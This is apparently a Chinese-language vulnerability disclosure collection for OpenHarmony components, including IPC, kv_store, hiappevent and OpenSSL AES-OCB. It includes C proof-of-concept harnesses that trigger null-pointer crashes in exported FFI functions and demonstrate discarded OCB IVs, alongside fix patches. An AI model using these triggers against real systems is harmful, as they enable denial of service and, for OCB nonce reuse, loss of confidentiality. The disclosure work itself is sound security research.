PoC 使用方法： 真库运行级：libcj_hiappevent_ffi.z.so（官方完整树构建，sha256 bf8aa65e...f6636a，BuildID 252096ef）dlopen 驱动 poc_hiappevent_watcher.c：case0 对照（合法 head, size=1）→ 错误码 11101001 不崩溃；case1（head=NULL, size=1）→ SIGSEGV（退出码 139）；gdb 复现 rip 落库内 file_offset 0xdc9a。更正（2026-10-21）：早期记录的 0x11c9a 无法由归档证据包 hiappevent-evidence-20261003.zip 内的 gdb-full.txt 复算——该包仅一次 SIGSEGV，$rip=0x7ffff554dc9a，库 r-xp 段 0x7ffff5548000（段内文件偏移 0x8000）→ file_offset 0xdc9a；包内亦无第二轮 gdb 记录，故「两轮 ASLR」一说无记录支持。完整记录 hiappevent-evidence-20261003.zip（sha256 a8ae123d...13c7a6）。

4. 影响分析

影响的代码模块：base/hiviewdfx/hiappevent

影响的功能模块：hiappevent

影响的 **OpenHarmony** 版本分支：

分支判定（严格口径，仅计 **branch_evidence**） - v4.1: — not_affected（符号探测：该分支基线无该文件或漏洞符号） - v5.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v5.1: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v6.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v7.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - master: 🔴 affected（检出级：验证基线 de94cb4d53f9；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 5 = 检出级 1 + 符号探测 4；not_affected 1；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: ？ 无上游版本信息，无法预测 - [预测] v5.0: ？ 无上游版本信息，无法预测 - [预测] v5.1: ？ 无上游版本信息，无法预测 - [预测] v6.0: ？ 无上游版本信息，无法预测 - [预测] v7.0: ？ 无上游版本信息，无法预测 - [预测] master: ？ 无上游版本信息，无法预测

5. 修复建议

AddWatcher 入口对 appEventFilters.head 判空（head==NULL 且 size>0 时返回参数校验错误码，与对照路径现有校验口径一致）；内层 names.head / eventTypes.head 同步补判空。（与提交表单第五节修复建议一致：D:/cve_data/submission_hiappevent/奖励计划表单v1_hiappevent.md）

修复补丁（原件 `cases/hiappevent_ffi_watcher_null_filter/patch.diff`；`patches/hiappevent_ffi_watcher_null_filter.patch` 为同内容镜像）：

```
# 修复建议补丁（hiappevent_ffi_watcher_null_filter）
# 口径：AddWatcher 入口对边界形态（head=NULL 且 size>0）返回 ERR_PARAM，外层 appEventFilters 与内层 names 同步补判空；eventTypes 循环同型补丁见工单第五节。
# 基线：/home/beichen/oh 官方完整树对应仓（见 case.json oh_source）
# 生成：2026-10-17，由原始源文件机械生成（scratch 副本编辑，树内文件未动）
--- a/base/hiviewdfx/hiappevent/frameworks/cj/ffi/src/hiappevent_ffi.cpp
+++ b/base/hiviewdfx/hiappevent/frameworks/cj/ffi/src/hiappevent_ffi.cpp
@@ -369,7 +369,14 @@
     }
     std::vector<AppEventFilter> filters;
     std::unordered_set<std::string> names;
+    if (watcher.appEventFilters.size > 0 && watcher.appEventFilters.head == nullptr) {
+        return ret; // ret.code == ERR_PARAM：边界形态（head=NULL, size>0）拒绝
+    }
     for (int i = 0; i < watcher.appEventFilters.size; i++) {
+        if (watcher.appEventFilters.head[i].names.size > 0
+            && watcher.appEventFilters.head[i].names.head == nullptr) {
+            return ret;
+        }
         for (int j = 0; j < watcher.appEventFilters.head[i].names.size; j++) {
             names.insert(std::string(watcher.appEventFilters.head[i].names.head[j]));
         }
```

ipc-cj-array-null-validation

1. 源码位置与内容

项目	值
组件	foundation/communication/ipc/interfaces/innerkits/cj
源码文件	foundation/communication/ipc/interfaces/innerkits/cj/src/message_sequence_impl.cpp
关键行号	[367, 386]
CVE 编号	（新发现）
CWE 分类	CWE-476

> 源码片段：见 `foundation/communication/ipc/interfaces/innerkits/cj/src/message_sequence_impl.cpp`（关键行号 [367, 386]）。源码级证据记录：L4 链路（L4_TIER_A/B + REAL_BUILD_PROBE_20260925）：FFI 导出入口 FfiOHOSIPCWriteByteArray(const CJByteArray* array) 直传 CArray 指针，无 head/size 校验；调用链进入 IPC 序列化前对 array->head 解引用遍历（head==NULL 即空指针解引用）。真库级证实（2026-09-28）：隔离构建 libcj_ipc_ffi.z.so 正常导出符号路径下，len=0/空数组输入触发 SIGSEGV（run.exit=139，崩溃帧归属 libcj_ipc_ffi.z.so）；正常字节对照组通过。基础运行库带补丁、非完整产品服务环境（隔离构建口径红线三条如实声明）。

2. 漏洞详细描述

CJ_WriteByteArray iterates value.data for a positive len without checking data for null.

触发条件：foundation/communication/ipc/interfaces/innerkits/cj/include/ipc_utils_ffi.h:78-81

影响路径：foundation/communication/ipc/interfaces/innerkits/cj/src/ipc_ffi.cpp:365-381

3. PoC 源代码

```
/* Malformed-input client for the OpenHarmony x86_64 CJ IPC exported ABI.
 * ABI source: IPC interfaces/innerkits/cj/include/ipc_utils_ffi.h and ipc_ffi.h
 * at edc6f3ab59a5b6fbbda92c427e1e4da6f6d64ae3 (same as ipc_normal_roundtrip.c).
 * Candidate under test: CJ_WriteByteArray iterates value.data for a positive
 * len without checking data for null (message_sequence_impl.cpp).
 * No target implementation is copied into this client.
 *
 * Case matrix (each prints start/done markers unbuffered so run.log pinpoints
 * the failing case even on a raw crash):
 *   0  data=NULL, len=0    control: loop body never runs, expect no crash
 *   1  data=NULL, len=1    the candidate: expected zero-page read per source
 *   2  data=NULL, len=64   variant with larger len
 *   3  data=valid, len=1   post-crash control (skipped only if earlier case died)
 * Either outcome of case 1/2 is a valid experiment result: a crash
 * (SIGSEGV, run exit 139) confirms the candidate at real-library level; a
 * returned error code (printed as write_error) disproves reachability of the
 * unguarded loop in this build. Do not interpret anything without the log.
 */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct { int8_t *data; uint32_t len; } CJByteArray;
_Static_assert(sizeof(void *) == 8, "x86_64 caller required");
_Static_assert(offsetof(CJByteArray, len) == 8 && sizeof(CJByteArray) == 16,
               "unexpected array ABI");

int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    if (argc != 2) return 2;
    void *library = dlopen(argv[1], RTLD_NOW | RTLD_LOCAL);
    if (!library) { fprintf(stderr, "load_error=%s\n", dlerror()); return 3; }
    int64_t (*create)(void) = (int64_t (*)(void))dlsym(library, "FfiRpcMessageSequenceImplCreate");
    void (*write_array)(int64_t, CJByteArray, int32_t *) =
        (void (*)(int64_t, CJByteArray, int32_t *))dlsym(library, "FfiRpcMessageSequenceImplWriteByteA
rray");
    if (!create || !write_array) { fputs("missing IPC export\n", stderr); return 4; }

    int8_t valid = 7;
    const struct { int8_t *data; uint32_t len; const char *name; } cases[] = {
        { NULL, 0, "null_len0_control" },
        { NULL, 1, "null_len1_candidate" },
        { NULL, 64, "null_len64_variant" },
        { &valid, 1, "valid_len1_postcontrol" },
    };
    for (size_t k = 0; k < sizeof(cases) / sizeof(cases[0]); k++) {
        printf("case=%zu name=%s start\n", k, cases[k].name);
        int64_t id = create();
        printf("case=%zu create_id=%lld\n", k, (long long)id);
        if (id <= 0) { printf("case=%zu create_failed\n", k); return 5; }
        int32_t error = -1;
        CJByteArray input = { cases[k].data, cases[k].len };
        printf("case=%zu calling write_array data=%p len=%u\n", k,
               (void *)input.data, input.len);
        write_array(id, input, &error);
        printf("case=%zu name=%s done write_error=%d\n", k, cases[k].name, error);
```

```
    }
    puts("malformed_matrix=completed_no_crash");
    return 0;
}
```

PoC 使用方法： 真库运行级：libcj_ipc_ffi.z.so 隔离构建 x86_64（IPC HEAD edc6f3ab，CJ 绑定与原仓 diff -qr 一致）dlopen 驱动 ipc_null_bytearray.c：对照（data=NULL len=0）→ write_error=0 正常返回；候选（data=NULL len=1）→ 立即 SIGSEGV（run.exit=139）；两次 ASLR gdb 复现 rip 落库内 file_offset 0x218c4（2026-10-21 按 out/x86_64_virt 库复算；早期隔离构建记录为 0x1ed9b）。记录 docs/analysis/IPC_KV_REAL_LIBRARY_VALIDATION_20260928.md（PR #65）。

4. 影响分析

影响的代码模块：foundation/communication/ipc/interfaces/innerkits/cj

影响的功能模块：cj

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: — not_affected（符号探测：该分支基线无该文件或漏洞符号） - v5.0: — not_affected（符号探测：该分支基线无该文件或漏洞符号） - v5.1: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v6.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v7.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - master: 🔴 affected（检出级：验证基线 edc6f3ab；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 4 = 检出级 1 + 符号探测 3；not_affected 2；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: ？ 无上游版本信息，无法预测 - [预测] v5.0: ？ 无上游版本信息，无法预测 - [预测] v5.1: ？ 无上游版本信息，无法预测 - [预测] v6.0: ？ 无上游版本信息，无法预测 - [预测] v7.0: ？ 无上游版本信息，无法预测 - [预测] master: ？ 无上游版本信息，无法预测

5. 修复建议

建议 WriteByteArray 的 CJ FFI 入口对（数组指针, 长度）组合校验：length>0 时数组指针判空并返回参数校验错误码，与同文件其他 FFI 转换的既有检查口径对齐（真库级 SIGSEGV 证据：工单 OHSA26-092953990）。

修复补丁（原件 `cases/ipc_cj_array_null_validation/patch.diff`；`patches/ipc_cj_array_null_validation.patch` 为同内容镜像）：

```
# 修复建议补丁（ipc_cj_array_null_validation）
# 口径：CJ_WriteByteArray 对（数组指针, 长度）组合校验：len>0 时 data 判空，返回既有参数校验错误码。
# 基线：/home/beichen/oh 官方完整树对应仓（见 case.json oh_source）
# 生成：2026-10-17，由原始源文件机械生成（scratch 副本编辑，树内文件未动）
--- a/foundation/communication/ipc/interfaces/innerkits/cj/src/message_sequence_impl.cpp
+++ b/foundation/communication/ipc/interfaces/innerkits/cj/src/message_sequence_impl.cpp
@@ -369,6 +369,10 @@
     if (nativeParcel_ == nullptr) {
         return errorDesc::WRITE_DATA_TO_MESSAGE_SEQUENCE_ERROR;
     }
+    if (value.len > 0 && value.data == nullptr) {
+        // 边界形态（data=NULL, len>0）拒绝，与同文件其他 FFI 转换的校验口径一致
+        return errorDesc::WRITE_DATA_TO_MESSAGE_SEQUENCE_ERROR;
+    }
     if (CheckWriteCapacity(BYTE_SIZE_8 * (value.len + 1))) {
         size_t pos = nativeParcel_->GetWritePosition();
         nativeParcel_->WriteUint32(value.len);
```

kv-ffi-array-validation

1. 源码位置与内容

项目	值
组件	foundation/distributeddatamgr/kv_store
源码文件	foundation/distributeddatamgr/kv_store/frameworks/cj/src/distributed_kv_store_impl.cpp
关键行号	[373, 378]
CVE 编号	（新发现）
CWE 分类	CWE-476, CWE-125

> 源码片段：见 `foundation/distributeddatamgr/kv_store/frameworks/cj/src/distributed_kv_store_impl.cpp`（关键行号 [373, 378]）。源码级证据记录：L4 源级定位（L4_TIER_C + kv_null_entry 执行件）：FFI 侧以 CArray/CJByteArray 形态传入键值数据，C++ 侧 distributed_kv_store 接口在 entry/data 为空数组时未做空校验即遍历。 pinned 树的 FfiOHOSDistributedKVStoreCreateKVManager ABI 为 (const char, *Context*)——无错误出参且 Context 无法在纯 C 侧构造（2026-09-28 真库实测：历史 ABI 形态调用即 SIGSEGV），记录为隔离限制并以 tools/validation_cases/kv_null_entry.c 执行件保留 malformed 入口矩阵（run_malformed.sh）。

2. 漏洞详细描述

CArrEntry.size controls a loop that dereferences CArrEntry.head without checking negative/positive bounds or null head.

触发条件：foundation/distributeddatamgr/kv_store/frameworks/cj/include/distributed_kv_store_impl.h:107-110

影响路径：foundation/distributeddatamgr/kv_store/frameworks/cj/src/distributed_kv_store_ffi.cpp:135-142

3. PoC 源代码

```
/* Malformed-input client for the OpenHarmony x86_64 CJ KV-store exported ABI.
 * ABI source: kv_store frameworks/cj/include/distributed_kv_store_ffi.h and
 * distributed_kv_store_impl.h at master (CArrEntry{CEntry* head; int64_t size},
 * CEntry{char* key; ValueType value}).
 * Candidate under test: PutBatch conversion dereferences head while size>0
 * without a null/negative check (distributed_kv_store_impl.cpp).
 * No target implementation is copied into this client.
 *
 * Stage 0 is an environment probe: CreateKVManager/GetKVStore must succeed in
 * the isolated runtime before PutBatch is reachable. If stage 0 fails, record
 * the error and STOP — that is an isolation limit, not a case verdict.
 * Case matrix once a store exists:
 *   0  head=NULL, size=0      control (empty batch, expect no crash)
 *   1  head=NULL, size=1      candidate: null head with positive size
 *   2  head=NULL, size=-1     negative-size variant
 *   3  head=valid, size=1     post control (one real entry)
 * Either outcome of case 1/2 is a valid result (crash vs returned error).
 */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct { char *key; int32_t tag; double num; char *str; int32_t boolean; } ValueTypeStub;
typedef struct { char *key; ValueTypeStub value; } CEntryStub;
typedef struct { CEntryStub *head; int64_t size; } CArrEntryStub;

int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    if (argc != 2) return 2;
    void *library = dlopen(argv[1], RTLD_NOW | RTLD_LOCAL);
    if (!library) { fprintf(stderr, "load_error=%s\n", dlerror()); return 3; }

    int64_t (*create_manager)(const char *, int32_t *) =
         (int64_t (*)(const char *, int32_t *))dlsym(library, "FfiOHOSDistributedKVStoreCreateKVManage
r");
    int64_t (*get_store)(int64_t, const char *, const char *, int32_t *) =
        (int64_t (*)(int64_t, const char *, const char *, int32_t *))dlsym(library, "FfiOHOSDistribute
dKVStoreGetKVStore");
    int32_t (*put_batch)(int64_t, CArrEntryStub) =
        (int32_t (*)(int64_t, CArrEntryStub))dlsym(library, "FfiOHOSDistributedKVStoreSingleKVStorePut
Batch");
    int32_t (*close_store)(int64_t, const char *, const char *) =
        (int32_t (*)(int64_t, const char *, const char *))dlsym(library, "FfiOHOSDistributedKVStoreClo
seKVStore");
    if (!create_manager || !get_store || !put_batch) {
        fputs("missing KV export\n", stderr);
        return 4;
    }

    puts("stage=env_probe start");
    /*
     * The pinned tree's ABI (frameworks/cj/include/distributed_kv_store_ffi.h)
     * is FfiOHOSDistributedKVStoreCreateKVManager(const char* boudleName,
     * OHOS::AbilityRuntime::Context* context) - no error out-parameter, and a
     * Context that a plain C client cannot construct. Calling the symbol with
```

```
     * the historical (const char*, int32_t*) shape passes &err as a Context*,
     * which the library dereferences and reliably crashes on (verified
     * 2026-09-28 on the real no-CFI library: SIGSEGV inside the manager
     * construction chain; the CFI build traps the same garbage indirect call).
     * Per the task brief this is an isolation limitation, never a candidate
     * verdict: record it and exit 10 without the ABI-mismatched call.
     */
    if (!dlsym(library, "FfiOHOSDistributedKVStoreCreateKVManager")) {
        fputs("CreateKVManager symbol absent\n", stderr);
        return 10;
    }
    puts("stage=env_probe failed: isolated C runtime cannot construct the "
         "AbilityRuntime::Context required by the in-tree CreateKVManager ABI");
    puts("stage=env_probe isolation_limitation=manager_creation_requires_context");
    return 10;
    /* Matrix below stays for tree versions whose CreateKVManager ABI takes an
     * error out-parameter; under the pinned tree's ABI no store id can ever
     * be obtained, so it is unreachable and intentionally never runs. */
    int64_t manager = 0;
    int64_t store = 0;
    (void)manager;

    /* ValueType layout here is a stub; for null-head cases the conversion
     * never dereferences entries, so candidate verdicts do not depend on it.
     * Case 3 is a best-effort control only. */
    ValueTypeStub v = { 0 };
    CEntryStub one = { "k0", v };
    const struct { CEntryStub *head; int64_t size; const char *name; } cases[] = {
        { NULL, 0, "null_size0_control" },
        { NULL, 1, "null_size1_candidate" },
        { NULL, -1, "null_sizeneg_variant" },
        { &one, 1, "valid_size1_postcontrol" },
    };
    for (size_t k = 0; k < sizeof(cases) / sizeof(cases[0]); k++) {
        printf("case=%zu name=%s start head=%p size=%lld\n", k, cases[k].name,
               (void *)cases[k].head, (long long)cases[k].size);
        CArrEntryStub batch = { cases[k].head, cases[k].size };
        int32_t rc = put_batch(store, batch);
        printf("case=%zu name=%s done rc=%d\n", k, cases[k].name, rc);
    }
    if (close_store) close_store(manager, "ohos.validation.case", "malformed_store");
    puts("malformed_matrix=completed_no_crash");
    return 0;
}
```

PoC 使用方法： 等价运行级（WSL Clang 21.1.8 ASan/UBSan，驱动 kv_null_entry.c）：两条转换路径 null head 均 zero-page SEGV，对照组正常；未做真库链接（如实区分等价级与真库级）。

4. 影响分析

影响的代码模块：foundation/distributeddatamgr/kv_store

影响的功能模块：kv_store

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: — not_affected（符号探测：该分支基线无该文件或漏洞符号） - v5.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v5.1: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v6.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v7.0: 🔴 affected

（符号探测：漏洞函数在该分支基线中在位） - master: 🔴 affected（检出级：验证基线 master；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 5 = 检出级 1 + 符号探测 4；not_affected 1；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: ？ 无上游版本信息，无法预测 - [预测] v5.0: ？ 无上游版本信息，无法预测 - [预测] v5.1: ？ 无上游版本信息，无法预测 - [预测] v6.0: ？ 无上游版本信息，无法预测 - [预测] v7.0: ？ 无上游版本信息，无法预测 - [预测] master: ？ 无上游版本信息，无法预测

5. 修复建议

建议 CArrStrToVectorKey/String 族 FFI 转换（同文件 3 处）在 length>0 时校验数组指针非空并返回参数校验错误码；本案为源级归档口径（AbilityRuntime Context 隔离限制，如实记录，见 docs/status/TASK_IPC_KV_VALIDATION_20260928.md）。

修复补丁（原件 `cases/kv_ffi_array_validation/patch.diff`；`patches/kv_ffi_array_validation.patch` 为同内容镜像）：

```
# 修复建议补丁（kv_ffi_array_validation）
# 口径：CArrStrToVectorKey 对边界形态按空集返回；CArrStrToVectorString（同文件同型函数）与第三处 CArrStrToV
ector 族转换同型补丁，完整三处清单见工单。
# 基线：/home/beichen/oh 官方完整树对应仓（见 case.json oh_source）
# 生成：2026-10-17，由原始源文件机械生成（scratch 副本编辑，树内文件未动）
--- a/foundation/distributeddatamgr/kv_store/frameworks/cj/src/distributed_kv_store_impl.cpp
+++ b/foundation/distributeddatamgr/kv_store/frameworks/cj/src/distributed_kv_store_impl.cpp
@@ -424,6 +424,9 @@
 {
     std::vector<Key> keys;
     int64_t size = cArrStr.size;
+    if (size > 0 && cArrStr.head == nullptr) {
+        return keys; // 边界形态（head=NULL, size>0）按空集处理，不下沉解引用
+    }
     for (int64_t i = 0; i < size; i++) {
         std::string str = cArrStr.head[i];
         keys.push_back(DistributedKv::Key(str));
```

---

openssl-ocb-oneshot-iv-discard

1. 源码位置与内容

项目	值
组件	third_party/openssl
源码文件	providers/implementations/ciphers/cipher_aes_ocb.c
关键行号	[497]
CVE 编号	CVE-2026-45445
CWE 分类	CWE-325

> 源码片段：见 `providers/implementations/ciphers/cipher_aes_ocb.c`（关键行号 [497]）。源码级证据记录：aes_ocb_cipher (cipher_aes_ocb.c:497) lacks the key_set/update_iv head check; narrow patch (source-file part of upstream diff) applies clean

2. 漏洞详细描述

AES-OCB one-shot EVP_Cipher() path never flushes the buffered IV; when it is the first data operation, the effective OCB nonce is 0 regardless of the caller's IV — catastrophic nonce reuse under the same key, silent at the API level.

触发条件：EVP_Cipher() as the first data operation on an AES-OCB context (no prior streaming call)

影响路径：前提条件：产品/应用使用 AES-OCB 且经 EVP_Cipher() 一次性接口 加密（高吞吐批量加密的常见写法），且加密前未对该上下文做过 streaming 调用。攻击者无需直接权限：只要能观测/收集同密钥下 多条此形态的密文（网络流量、存储的加密记录），即可利用 OCB nonce 重用攻破机密性；IV 由调用方正常轮换也无法缓解（被静默 丢弃）。是否需要用户交互取决于业务形态。

四、PoC & Exploit：

见附件 poc_ocb_iv.c 与运行验证记录.md（2×2 结果矩阵；密码学 等价对比法，环境 WSL2 Ubuntu 24.04、clang 18.1.3、OH 检出静态 构建）。本报告未构造针对真实业务密文的利用，nonce 重用的危害 为 OCB 模式公开密码学性质。

五、修复及缓解措施建议：

回移上游修复 843c9b94（`patches/openssl_ocb_oneshot_iv_discard.patch` 为窄化版，对 OH 检出 git apply --check 直接通过）：aes_ocb_cipher() 处理数据前检查 key_set 并调用 update_iv() 刷入缓冲 IV。建议同步引

3. PoC 源代码

```
/*
 * CVE-2026-45445 运行验证 PoC — third_party_openssl AES-OCB EVP_Cipher() IV 丢弃
 *
 * 缺陷：aes_ocb_cipher()（OCB provider 的 OSSL_FUNC_CIPHER_CIPHER one-shot
 * 槽位）处理数据前不调用 update_iv()——调用方 IV 被静默丢弃，OCB
 * 有效 nonce 恒 0。上游修复：openssl/openssl 843c9b94（2026-06-09
 * 公告批次）。OH third_party_openssl（3.0.9 基线）为修复前形态。
 *
 * 两个观测场景（均对同一 (key, iv) 对比 one-shot 与 streaming 槽位）：
 *   S1 无 AAD：body 直接经 EVP_Cipher()（one-shot）vs
 *      EVP_EncryptUpdate/Final（streaming）。
 *      ——IV 丢弃的最纯粹观测：one-shot 从未走过任何 streaming 调用，
 *      修复前其加密 Offset 为 0，密文必然不同。
 *   S2 AAD 走 streaming、body 走 one-shot（上游修复测试描述的自然
 *      调用形态），两侧 body 后都正确 Final 再取 tag。
 * 判读：原版构建至少一个场景 ct/tag 不一致（缺陷观测，退出码 1）；
 *       补丁版两场景全一致（退出码 0）。
 */
#include <stdio.h>
#include <string.h>
#include <openssl/evp.h>

typedef struct { unsigned char ct[64]; unsigned char tag[16]; int ok; } Result;

static Result run(int oneshot_body, int with_aad)
{
    Result r = {{0}, {0}, 1};
    unsigned char key[32], iv[12], aad[16], pt[64], tmp[16];
    for (int i = 0; i < 32; i++) key[i] = (unsigned char)(i + 1);
    for (int i = 0; i < 12; i++) iv[i] = (unsigned char)(0xA0 + i);
    for (int i = 0; i < 16; i++) aad[i] = (unsigned char)(0x10 + i);
    for (int i = 0; i < 64; i++) pt[i] = (unsigned char)(i);

    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    int len = 0, flen = 0;
    if (EVP_EncryptInit_ex(ctx, EVP_aes_256_ocb(), NULL, NULL, NULL) != 1
        || EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL) != 1
        || EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv) != 1) {
        r.ok = 0; EVP_CIPHER_CTX_free(ctx); return r;
    }
    if (with_aad && EVP_EncryptUpdate(ctx, NULL, &len, aad, sizeof(aad)) != 1) {
        r.ok = 0; EVP_CIPHER_CTX_free(ctx); return r;
    }
    if (oneshot_body) {
        if (EVP_Cipher(ctx, r.ct, pt, sizeof(pt)) != (int)sizeof(pt)) {
            r.ok = -1; EVP_CIPHER_CTX_free(ctx); return r;
        }
    } else {
        if (EVP_EncryptUpdate(ctx, r.ct, &len, pt, sizeof(pt)) != 1) {
            r.ok = -2; EVP_CIPHER_CTX_free(ctx); return r;
        }
    }
    /* AEAD 收尾（tag 就绪）——两条路径统一走 Final */
    if (EVP_EncryptFinal_ex(ctx, tmp, &flen) != 1) {
        r.ok = -3; EVP_CIPHER_CTX_free(ctx); return r;
    }
    if (EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_GET_TAG, 16, r.tag) != 1) {
        r.ok = -4;
    }
    EVP_CIPHER_CTX_free(ctx);
    return r;
```

```
}

static int scenario(int with_aad, const char *name)
{
    Result a = run(1, with_aad), b = run(0, with_aad);
    if (a.ok != 1 || b.ok != 1) {
        printf("%s SETUP_FAIL %d/%d\n", name, a.ok, b.ok);
        return 2;
    }
    int ct_eq = memcmp(a.ct, b.ct, sizeof(a.ct)) == 0;
    int tag_eq = memcmp(a.tag, b.tag, sizeof(a.tag)) == 0;
    printf("%s ct=%s tag=%s\n", name, ct_eq ? "SAME" : "DIFF", tag_eq ? "SAME" : "DIFF");
    return (ct_eq && tag_eq) ? 0 : 1;
}

int main(void)
{
    int s1 = scenario(0, "S1_noAAD_body_oneshot_vs_streaming");
    int s2 = scenario(1, "S2_AADstream_body_oneshot_vs_streaming");
    if (s1 == 0 && s2 == 0) {
        printf("VERDICT: OK (one-shot respects IV in both shapes)\n");
        return 0;
    }
    printf("VERDICT: VULNERABLE (one-shot output differs from streaming — IV discarded, effective nonc
e 0)\n");
    return 1;
}
```

PoC 使用方法： 运行级：./poc_orig：同一 (key, iv) 下 body 分别经 EVP_Cipher()（one-shot）与 EVP_CipherUpdate/Final（streaming）加密——S1（无 AAD，one-shot 为首次数据调用）原版 ct=DIFF tag=DIFF（one-shot 实际以 nonce-0 加密、丢弃调用方 IV）；S2（AAD 先 streaming）原版 SAME（佐证机理：仅 one-shot 为首次数据调用时 IV 被丢弃）；应用 `patches/openssl_ocb_oneshot_iv_discard.patch` 重建 → 两场景全 SAME（修复生效）。

4. 影响分析

影响的代码模块：third_party/openssl

影响的功能模块：openssl

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 openssl 3.0.9，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 openssl 3.0.9，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 openssl 3.0.9，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 openssl 3.0.9，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 openssl 3.0.9，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 master；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 843c9b94（`patches/openssl_ocb_oneshot_iv_discard.patch` 为窄化版，对 OH 检出 git apply --check 直接通过）：aes_ocb_cipher() 处理数据前检查 key_set 并调用 update_iv() 刷入缓冲 IV。建议同步引入上游配套 测试（one-shot 与 streaming 交叉往返矩阵）。临时缓解：应用侧 避免对 AES-OCB 使用 EVP_Cipher() 一次性接口，改用 EVP_EncryptUpdate/EVP_EncryptFinal_ex 序列（streaming 槽位不受 影响）；或升级至上游公告列出的修复版本。

修复补丁（`patches/openssl_ocb_oneshot_iv_discard.patch`）：

```
diff --git a/providers/implementations/ciphers/cipher_aes_ocb.c b/providers/implementations/ciphers/ci
pher_aes_ocb.c
index 1f6da4b212296..329d4bfa3e17c 100644
--- a/providers/implementations/ciphers/cipher_aes_ocb.c
+++ b/providers/implementations/ciphers/cipher_aes_ocb.c
@@ -498,6 +498,19 @@ static int aes_ocb_cipher(void *vctx, unsigned char *out, size_t *outl,
         return 0;
     }

+    /*
+     * Mirror the streaming handler: refuse if the key has not been set,
+     * and push the buffered IV into the OCB context before any data is
+     * processed.  Without this, CRYPTO_ocb128_encrypt/decrypt runs with
+     * Offset_0 = 0 regardless of the caller's IV -- catastrophic
+     * (key, nonce) reuse, and a subsequent EVP_*Final_ex() emits a tag
+     * that is a function of (key, iv) only.
+     */
+    if (!ctx->key_set || !update_iv(ctx)) {
+        ERR_raise(ERR_LIB_PROV, PROV_R_CIPHER_OPERATION_FAILED);
+        return 0;
+    }
+
     if (!aes_generic_ocb_cipher(ctx, in, out, inl)) {
         ERR_raise(ERR_LIB_PROV, PROV_R_CIPHER_OPERATION_FAILED);
         return 0;
```

补丁文件：`patches/openssl_ocb_oneshot_iv_discard.patch`（内容同上）。

---

udmf-ffi-setproperties-null-tag

1. 源码位置与内容

项目	值
组件	foundation/distributeddatamgr/udmf
源码文件	foundation/distributeddatamgr/udmf/interfaces/cj/src/unified_data_ffi.cpp
关键行号	[134]
CVE 编号	（新发现）
CWE 分类	CWE-476

源码片段（`foundation/distributeddatamgr/udmf/interfaces/cj/src/unified_data_ffi.cpp` 关键行号 [134]，摘自案例目录 `source_snippet.c`）：

```
// unified_data_ffi.cpp:124-137 (interfaces/cj/src, build commit a4882ad7,
// per case.json oh_source.build_provenance). Line 134 is the candidate:
// properties.tag flows unchecked into Utils::MallocCString, whose const
// std::string& parameter builds std::string(nullptr) -> strlen(NULL).
void FfiUDMFSetProperties(int64_t unifiedDataId, CUnifiedDataProperties properties)
{
    auto data = FFIData::GetData<CUnifiedData>(unifiedDataId);
    if (data == nullptr) {
        return;
    }
    auto prop = data->unifiedData_->GetProperties();
    AAFwk::WantParams wantP;
    SetDataParameters(properties.extras, wantP);
    prop->extras = wantP;
    prop->tag = Utils::MallocCString(properties.tag);
    prop->shareOptions = UDMF::ShareOptions(properties.shareOptions);
    data->unifiedData_->SetProperties(prop);
}
```

2. 漏洞详细描述

